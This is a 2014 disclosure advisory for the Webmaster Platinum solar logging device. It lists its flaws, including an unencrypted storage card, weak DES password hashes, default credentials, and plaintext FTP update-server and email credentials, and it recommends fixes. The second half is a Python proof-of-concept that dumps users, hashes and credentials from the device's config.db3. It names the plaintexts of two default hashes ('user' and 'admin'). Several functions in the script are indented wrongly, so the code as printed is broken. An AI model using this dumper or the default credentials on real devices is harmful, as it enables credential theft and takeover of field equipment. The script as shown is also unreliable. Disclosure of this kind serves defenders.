Webmaster Platinum multiple vulnerabilities

Product : Diehl AKO | Platinum | Papendorf Software Engineering
Product : Webmaster Platinun
Reported by : Evangelos Mourikis
Contact : vag.mourikis () gmail [dot] com
Affected versions : All [tested on 1.2.1.7, 1.2.4.1]

Contact Vendors (1st attempt) : 26/05/2014 (No answer)
Contact Vendors (2nd attempt) : 03/06/2014 (No answer)
Contact Vendors (3rd attempt) : 09/06/2014 (No answer)

I would like to mention that I tried to contact with all the vendors other times too, but nobody replied back.

Public release : 22/06/2014

Details:

It has been identified that Webmaster Platinum solar logging machine has unencrypted the CF memory card and anyone can mount the Operating System having the ability to read critical system files.

So an atacker could access the /etc/passwd and /etc/shadow files in which username and password hashes are included. The hash algorithm that is used in these files is DES. That means that the password can be consisted of a maximum of 8 chars.

Ports 21, 22 and 23 are opened by default in these systems. That makes remote attacks a serious threat for the product. Based on the default password policy that is used, attackers could bruteforce the root password hash and then they will be able to login at every solar logging machine of that vendor. In addition, a user can authenticate himself to the web interface with the default credentials given in the product's manual.

All the applications of the Operating System(Suse) are run with root privileges. This is a security risk because if a malicious user manage to exploit any of the services, he will gain root access to the system.

The main sqlite3 database file is located in /usr/local/scc/config.db3. Critical information are unencrypted such as users and hashes of the web interface(hidden users too), plaintext credentials of email server that is used for email alerts and credentials to the vendor's ftp update server.

The user of ftp update server on the remote server has write access to any directory of the ftp scope. This is a critical vulnerability that gives the opportunity to an attacker to upload malicious update files for other products too.

Recommendations:

Firstly, I would advise the company not to update the systems via FTP. The updates could be done via HTTPS.

Also, I would use obfuscation to the config.db3 file, like the perl obfuscation that is used in the main script of the system, in order to avoid data dumps.

Finally, the default credentials policy must be changed. For each device a unique password must be created and printed on the device.

POC:

#Author : Evangelos Mourikis
#Date   : 22/06/2014
#Contact: vag.mourikis () gmail [dot] com
#Product: Webmaster Platinum


import sqlite3, sys


if len(sys.argv) != 2:  
    print "[-]Usage: %s <path_to_.db3>"% sys.argv[0] + "\r"
    print "[-]For example (python poc.py config.db3)"
    sys.exit(0)
sqliteFile = sys.argv[1]

def printWebUsers(sqliteFile):  
    conn = sqlite3.connect(sqliteFile)
    c = conn.cursor()
    c.execute("Select * from users;")
    i = 0
    for row in c:
        print "[*] -- Account "+ str(i) +" --"
        print "[+] User: "+ str(row[1])
        if row[2] == "6EKZMmfBVwI":

            print "[+] Hash: "+ str(row[2]) + " !!! Plaintext : user"
        elif row[2] == "pexzg3FUZAk":
            print "[+] Hash: "+ str(row[2]) + " !!! Plaintext : admin"
        else:
            print "[+] Hash: "+ str(row[2])
        if row[4] == 1:
            print "[+] Level: No Guest"
        elif row[4] == 2:
            print "[+] Level: User"
        elif row[4] == 3:
            print "[+] Level: Admin"
        elif row[4] == 4:
            print "[+] Level: Service"
        elif row[4] == 5:
            print "[+] Level: Factory"
        i+=1
def ftpServer(sqliteFile):  
    conn = sqlite3.connect(sqliteFile)
        c = conn.cursor()
        c.execute("Select * from msgchanparams;")
    for row in c:
        if row[2] == "ftpuser":
            print "[*] -- FTP credentials found --"
            print "[+] Ftp username: "+ str(row[3])
        if row[2] == "ftppassword":
            print "[+] Ftp password: "+ str(row[3])
        if row[2] == "ftpserver":
            print "[+] Ftp server: "+ str(row[3])


def emailCredentials(sqliteFile):  
    conn = sqlite3.connect(sqliteFile)
        ca = conn.cursor()
        ca.execute("Select * from config;")
    for row in ca:
        if row[0] == "server":
            server = row[2]
           if row[0] == "login":
            email = row[2]
            if row[0] == "password":
            pass1 = row[2]
    if pass1 is not None:
            print "[*] -- Email server found --"
            print "[+] Server : "+ server
            print "[+] Email : "+ email
            print "[+] Password : "+ pass1

def main():  
    print '''

---Enagelos Mourikis Webmaster Platinum POC---

Select 1-> Webusers  
       2-> FTP Credentials
       3-> Email Credentials        
       4-> Dump all
'''  
    question = True

    while question:
        question = raw_input("What would you like to do?\n")
            if question=="1":
            printWebUsers(sqliteFile)
            break
        elif question=="2":
            ftpServer(sqliteFile)
            break
        elif question=="3":
            emailCredentials(sqliteFile)
            break
        elif question=="4":
            printWebUsers(sqliteFile)
            ftpServer(sqliteFile)
            emailCredentials(sqliteFile)
            break
        elif question !="":
                    print "\n Not Valid Choice Try again"

if __name__ == "__main__":  
    main()

Disclaimer : I won't upload any specific credential from the companies. Any actions and/or activities related to the material contained within this post is solely your responsibility. The misuse of the information in this article can result in criminal charges brought against the person in question. The author of this article will not be held responsible any criminal charges be brought against individuals misusing the information to break the law.